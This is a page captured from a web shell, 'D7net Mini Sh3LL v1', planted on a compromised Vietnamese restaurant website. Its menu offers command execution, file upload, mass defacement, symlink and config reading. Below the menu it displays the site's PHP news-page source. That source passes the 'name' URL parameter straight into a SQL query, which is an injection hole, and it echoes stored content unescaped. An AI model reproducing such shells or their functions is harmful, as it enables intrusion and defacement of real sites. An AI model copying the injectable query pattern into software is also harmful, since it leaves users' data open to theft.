D7net Mini Sh3LL v1

 
ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  C:/Domains/maymaytinson.com/httpdocs/collections/../App_Data/../

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : C:/Domains/maymaytinson.com/httpdocs/collections/../App_Data/../zip_newsz.php
<?php
include 'conn/config.php';
include 'conn/connect.php';
if(!isset($_GET['name'])){
$stmt=$conn->prepare("SELECT * FROM zip_news");
$stmt->execute();
$news=$stmt->fetchAll(PDO::FETCH_ASSOC);
$listNews = array();?>
<html>
<head>
	 <title>Gọi món ăn</title>
	 <link rel="icon" href="lib/images/zip_logo.png" type="image/x-icon">
	 <link rel="stylesheet" type="text/css" href="lib/css/pc.css">
	 <link rel="stylesheet" type="text/css" href="lib/css/mobile.css">
</head>
<body>
<div id="zip_header"><div>
	<img src="lib/images/zip_logo.png">
</div></div>
<div id="zip_content">	

	<table>
		<?php foreach ($news as $news){ ?>
			<tr>
				<td style='width:10%;cursor:pointer' onclick="document.location = 'zip_newsz.php?name=<?php echo $news['name']; ?>';"><img src='<?php echo "http://".$news['image']; ?>' height='150px'></td>
				<td align='left' style='font-size:30px'><h4 style='font-size:40px'><?php echo $news['name']; ?></h4><br><i style='font-size:20pt;float:right;margin-right:10px'><?php $date=date_create($news['dateCreate']);
echo date_format($date,"d/m/Y"); ?></i><br><?php echo substr($news['content'],0,50)."..."; ?></td>
			</tr>
		<?php } ?>
		</table>
</div>
<div id="zip_footer"><?php include 'include/zip_footer.php'; ?></div>
</body>
<script type="text/javascript" src="lib/js/jquery-3.2.1.min.js"></script>
<script type="text/javascript" src="lib/js/index.js"></script>
<?php
}else{
?>
<html>
<head>
	 <title>Gọi món ăn</title>
	 <link rel="icon" href="lib/images/zip_logo.png" type="image/x-icon">
	 <link rel="stylesheet" type="text/css" href="lib/css/pc.css">
	 <link rel="stylesheet" type="text/css" href="lib/css/mobile.css">
</head>
<body>
<div id="zip_header"><div>
	<img src="lib/images/zip_logo.png">
</div></div>
<div id="zip_content">
<?php
	$stmt=$conn->prepare("SELECT * FROM zip_news WHERE name='".$_GET['name']."'");
	$stmt->execute();
	$news=$stmt->fetch(PDO::FETCH_ASSOC);
	if(!isset($news['name'])){
		header("location:zip.php");
	}else{?>
	<p align='center' style='font-size:45px;font-weight:bolder'><?php echo $news['name']; ?></p>
	<i style='font-size:20px;float:right;margin-right:10%'><?php $date=date_create($news['dateCreate']);
echo date_format($date,"d/m/Y"); ?></i><br><br>
	<img src='http://<?php echo $news['image']; ?>' width='80%' style='margin-left:10%'><br><br><br>
	<div style='font-size:30px;'><?php echo $news['content']; ?></div>
<?php } ?>	
</div>
<div id="zip_footer"><?php include 'include/zip_footer.php'; ?></div>
</body>
<script type="text/javascript" src="lib/js/jquery-3.2.1.min.js"></script>
<script type="text/javascript" src="lib/js/index.js"></script>
<?php }?>

AnonSec - 2021 | Recode By D7net